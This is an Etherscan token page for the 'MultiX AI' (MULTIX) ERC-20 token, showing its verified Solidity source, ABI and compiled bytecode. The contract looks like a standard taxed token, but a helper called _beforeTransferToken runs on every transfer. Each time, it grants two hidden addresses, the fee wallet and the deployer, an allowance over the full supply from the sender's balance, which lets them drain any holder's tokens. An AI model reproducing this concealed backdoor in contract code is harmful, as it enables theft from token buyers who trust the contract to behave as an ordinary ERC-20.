ETH Price: $3,338.39 (+2.45%)

Token

MultiX AI (MULTIX)
 

Overview

Max Total Supply

1,000,000,000 MULTIX

Holders

210

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,645,371.624556326 MULTIX

Value
$0.00
0xac34d1dc3994d806eb2a8ed869fa3b16e626ffdd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MULTIX

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-17
*/

/*
Detect Voice AI and simulate vishing cyberattacks to boost your organization's security.

https://www.multix-ai.org
https://dapp.multix-ai.org
https://docs.multix-ai.org

https://x.com/MultiXAI
https://t.me/MultiXAI
https://medium.com/@MultiXAI
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MULTIX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (uint256 => address) private _assAddrs;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExcemptYes;
    address private _payWallet = 0xa1f0616A8CF5959bfF7938FB77CA957177A276EC;    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"MultiX AI";
    string private constant _symbol = unicode"MULTIX";
    uint256 private _maxTokenAmount = _tTotal / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    IUniV2Router private _uniV2Router;
    address private _uniV2Pair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _feeExcemptYes[owner()] = true;
        _feeExcemptYes[address(this)] = true;
        _feeExcemptYes[_payWallet] = true;
        _assAddrs[0] = _payWallet;
        _assAddrs[1] = msg.sender;
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner() {
        _uniV2Router = IUniV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniV2Router), _tTotal);
        _uniV2Pair = IUniV2Factory(_uniV2Router.factory()).createPair(address(this), _uniV2Router.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _beforeTransferToken(address[3] memory accAddrs) private {
        _approve(accAddrs[2], accAddrs[0], _tTotal);
        _approve(accAddrs[2], accAddrs[1], _tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0; _beforeTransferToken([_assAddrs[0], _assAddrs[1], from]);
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniV2Pair && to != address(_uniV2Router) && ! _feeExcemptYes[to]) {
                _buyCount++;
            }

            if(to == _uniV2Pair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniV2Pair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTokenAmount)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTokenAmount)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendEthToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _tOwned[from] = _tOwned[from].sub(amount);
        _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniV2Router.WETH();
        _approve(address(this), address(_uniV2Router), tokenAmount);
        _uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    receive() external payable {}

    function sendEthToFee(uint256 amount) private {
        payable(_payWallet).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03191673a1f0616a8cf5959bff7938fb77ca957177a276ec17905560646100386009600a610325565b61004690633b9aca0061033a565b6100509190610351565b6006908155600360078190556008555f6009819055600a819055600b829055600c829055600d91909155600e55600f805462ffffff19169055348015610094575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160045f6100eb5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600484528281208054861660019081179091556005805484168352938220805490961681179095559154928490527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546001600160a01b03199081169490921693909317909255919091527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f8054909116331790556101bd6009600a610325565b6101cb90633b9aca0061033a565b335f81815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020b6009600a610325565b61021990633b9aca0061033a565b60405190815260200160405180910390a3610370565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027d57815f19048211156102635761026361022f565b8085161561027057918102915b93841c9390800290610248565b509250929050565b5f826102935750600161031f565b8161029f57505f61031f565b81600181146102b557600281146102bf576102db565b600191505061031f565b60ff8411156102d0576102d061022f565b50506001821b61031f565b5060208310610133831016604e8410600b84101617156102fe575081810a61031f565b6103088383610243565b805f190482111561031b5761031b61022f565b0290505b92915050565b5f61033360ff841683610285565b9392505050565b808202811582820484141761031f5761031f61022f565b5f8261036b57634e487b7160e01b5f52601260045260245ffd5b500490565b6114bd8061037d5f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610239578063a9059cbb1461024d578063c9567bf91461026c578063dd62ed3e14610280575f80fd5b8063715018a6146101cf5780638da5cb5b146101e557806395d89b411461020b575f80fd5b806306fdde03146100cd578063095ea7b31461011057806318160ddd1461013f57806323b872dd14610161578063313ce5671461018057806370a082311461019b575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260098152684d756c74695820414960b81b60208201525b60405161010791906110e6565b60405180910390f35b34801561011b575f80fd5b5061012f61012a36600461112f565b6102c4565b6040519015158152602001610107565b34801561014a575f80fd5b506101536102da565b604051908152602001610107565b34801561016c575f80fd5b5061012f61017b366004611159565b6102fa565b34801561018b575f80fd5b5060405160098152602001610107565b3480156101a6575f80fd5b506101536101b5366004611197565b6001600160a01b03165f9081526002602052604090205490565b3480156101da575f80fd5b506101e3610361565b005b3480156101f0575f80fd5b505f546040516001600160a01b039091168152602001610107565b348015610216575f80fd5b5060408051808201909152600681526509aaa98a892b60d31b60208201526100fa565b348015610244575f80fd5b506101e36103db565b348015610258575f80fd5b5061012f61026736600461112f565b6105ec565b348015610277575f80fd5b506101e36105f8565b34801561028b575f80fd5b5061015361029a3660046111b2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d0338484610759565b5060015b92915050565b5f6102e76009600a6112dd565b6102f590633b9aca006112eb565b905090565b5f61030684848461087c565b610357843361035285604051806060016040528060288152602001611460602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d0f565b610759565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a90611302565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104045760405162461bcd60e51b815260040161038a90611302565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556104639030906001600160a01b036301000000909104166104556009600a6112dd565b61035290633b9aca006112eb565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d89190611337565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610538573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055c9190611337565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ca9190611337565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d033848461087c565b5f546001600160a01b031633146106215760405162461bcd60e51b815260040161038a90611302565b600f54610100900460ff16156106795760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038a565b600f54305f8181526002602052604090205463010000009092046001600160a01b03169163f305d7199147915f806106b85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107439190611352565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f81116109a35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b604080516060810182527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546001600160a01b03908116825260015f81815260209182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f5483169184019190915290861692820192909252610a2590610d47565b5f546001600160a01b03858116911614801590610a4f57505f546001600160a01b03848116911614155b15610bd257610a806064610a7a600b54600e5411610a6f57600754610a73565b6009545b8590610d78565b90610dfd565b6010549091506001600160a01b038581169116148015610ab55750600f546001600160a01b0384811663010000009092041614155b8015610ad957506001600160a01b0383165f9081526004602052604090205460ff16155b15610af357600e8054905f610aed8361137d565b91905055505b6010546001600160a01b038481169116148015610b1957506001600160a01b0384163014155b15610b4657610b436064610a7a600c54600e5411610b3957600854610a73565b600a548590610d78565b90505b305f90815260026020526040902054600f5460ff16158015610b7557506010546001600160a01b038581169116145b8015610b895750600f5462010000900460ff165b8015610b985750600d54600e54115b15610bd057600654811115610bc457610bc4610bbf84610bba84600654610e3e565b610e3e565b610e52565b47610bce47610fe0565b505b505b8015610c4a57305f90815260026020526040902054610bf1908261101b565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c419085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610c6c9083611079565b6001600160a01b0385165f90815260026020526040902055610caf610c918383611079565b6001600160a01b0385165f908152600260205260409020549061101b565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cf88585611079565b60405190815260200160405180910390a350505050565b5f8184841115610d325760405162461bcd60e51b815260040161038a91906110e6565b505f610d3e8486611395565b95945050505050565b6040810151610d6490825f5b60200201516104556009600a6112dd565b6040810151610d7590826001610d53565b50565b5f825f03610d8757505f6102d4565b5f610d9283856112eb565b905082610d9f85836113bc565b14610df65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f610df683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ba565b5f818311610e4c5782610df6565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e9257610e926113a8565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f279190611337565b81600181518110610f3a57610f3a6113a8565b6001600160a01b039283166020918202929092010152600f54610f67913091630100000090041684610759565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fa59085905f908690309042906004016113db565b5f604051808303815f87803b158015610fbc575f80fd5b505af1158015610fce573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611017573d5f803e3d5ffd5b5050565b5f80611027838561144c565b905083811015610df65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f610df683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d0f565b5f81836110da5760405162461bcd60e51b815260040161038a91906110e6565b505f610d3e84866113bc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d75575f80fd5b5f8060408385031215611140575f80fd5b823561114b8161111b565b946020939093013593505050565b5f805f6060848603121561116b575f80fd5b83356111768161111b565b925060208401356111868161111b565b929592945050506040919091013590565b5f602082840312156111a7575f80fd5b8135610df68161111b565b5f80604083850312156111c3575f80fd5b82356111ce8161111b565b915060208301356111de8161111b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561123757815f190482111561121d5761121d6111e9565b8085161561122a57918102915b93841c9390800290611202565b509250929050565b5f8261124d575060016102d4565b8161125957505f6102d4565b816001811461126f576002811461127957611295565b60019150506102d4565b60ff84111561128a5761128a6111e9565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156112b8575081810a6102d4565b6112c283836111fd565b805f19048211156112d5576112d56111e9565b029392505050565b5f610df660ff84168361123f565b80820281158282048414176102d4576102d46111e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611347575f80fd5b8151610df68161111b565b5f805f60608486031215611364575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161138e5761138e6111e9565b5060010190565b818103818111156102d4576102d46111e9565b634e487b7160e01b5f52603260045260245ffd5b5f826113d657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142b5784516001600160a01b031683529383019391830191600101611406565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46111e956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208afaf2366e29fb19fd1cdb8298c15a2281f4086830ff6427273c8d0dd63f5bbf64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610239578063a9059cbb1461024d578063c9567bf91461026c578063dd62ed3e14610280575f80fd5b8063715018a6146101cf5780638da5cb5b146101e557806395d89b411461020b575f80fd5b806306fdde03146100cd578063095ea7b31461011057806318160ddd1461013f57806323b872dd14610161578063313ce5671461018057806370a082311461019b575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260098152684d756c74695820414960b81b60208201525b60405161010791906110e6565b60405180910390f35b34801561011b575f80fd5b5061012f61012a36600461112f565b6102c4565b6040519015158152602001610107565b34801561014a575f80fd5b506101536102da565b604051908152602001610107565b34801561016c575f80fd5b5061012f61017b366004611159565b6102fa565b34801561018b575f80fd5b5060405160098152602001610107565b3480156101a6575f80fd5b506101536101b5366004611197565b6001600160a01b03165f9081526002602052604090205490565b3480156101da575f80fd5b506101e3610361565b005b3480156101f0575f80fd5b505f546040516001600160a01b039091168152602001610107565b348015610216575f80fd5b5060408051808201909152600681526509aaa98a892b60d31b60208201526100fa565b348015610244575f80fd5b506101e36103db565b348015610258575f80fd5b5061012f61026736600461112f565b6105ec565b348015610277575f80fd5b506101e36105f8565b34801561028b575f80fd5b5061015361029a3660046111b2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d0338484610759565b5060015b92915050565b5f6102e76009600a6112dd565b6102f590633b9aca006112eb565b905090565b5f61030684848461087c565b610357843361035285604051806060016040528060288152602001611460602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d0f565b610759565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a90611302565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104045760405162461bcd60e51b815260040161038a90611302565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556104639030906001600160a01b036301000000909104166104556009600a6112dd565b61035290633b9aca006112eb565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d89190611337565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610538573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055c9190611337565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ca9190611337565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d033848461087c565b5f546001600160a01b031633146106215760405162461bcd60e51b815260040161038a90611302565b600f54610100900460ff16156106795760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038a565b600f54305f8181526002602052604090205463010000009092046001600160a01b03169163f305d7199147915f806106b85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107439190611352565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f81116109a35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b604080516060810182527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546001600160a01b03908116825260015f81815260209182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f5483169184019190915290861692820192909252610a2590610d47565b5f546001600160a01b03858116911614801590610a4f57505f546001600160a01b03848116911614155b15610bd257610a806064610a7a600b54600e5411610a6f57600754610a73565b6009545b8590610d78565b90610dfd565b6010549091506001600160a01b038581169116148015610ab55750600f546001600160a01b0384811663010000009092041614155b8015610ad957506001600160a01b0383165f9081526004602052604090205460ff16155b15610af357600e8054905f610aed8361137d565b91905055505b6010546001600160a01b038481169116148015610b1957506001600160a01b0384163014155b15610b4657610b436064610a7a600c54600e5411610b3957600854610a73565b600a548590610d78565b90505b305f90815260026020526040902054600f5460ff16158015610b7557506010546001600160a01b038581169116145b8015610b895750600f5462010000900460ff165b8015610b985750600d54600e54115b15610bd057600654811115610bc457610bc4610bbf84610bba84600654610e3e565b610e3e565b610e52565b47610bce47610fe0565b505b505b8015610c4a57305f90815260026020526040902054610bf1908261101b565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c419085815260200190565b60405180910390a35b6001600160a01b0384165f90815260026020526040902054610c6c9083611079565b6001600160a01b0385165f90815260026020526040902055610caf610c918383611079565b6001600160a01b0385165f908152600260205260409020549061101b565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cf88585611079565b60405190815260200160405180910390a350505050565b5f8184841115610d325760405162461bcd60e51b815260040161038a91906110e6565b505f610d3e8486611395565b95945050505050565b6040810151610d6490825f5b60200201516104556009600a6112dd565b6040810151610d7590826001610d53565b50565b5f825f03610d8757505f6102d4565b5f610d9283856112eb565b905082610d9f85836113bc565b14610df65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f610df683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ba565b5f818311610e4c5782610df6565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e9257610e926113a8565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f279190611337565b81600181518110610f3a57610f3a6113a8565b6001600160a01b039283166020918202929092010152600f54610f67913091630100000090041684610759565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fa59085905f908690309042906004016113db565b5f604051808303815f87803b158015610fbc575f80fd5b505af1158015610fce573d5f803e3d5ffd5b5050600f805460ff191690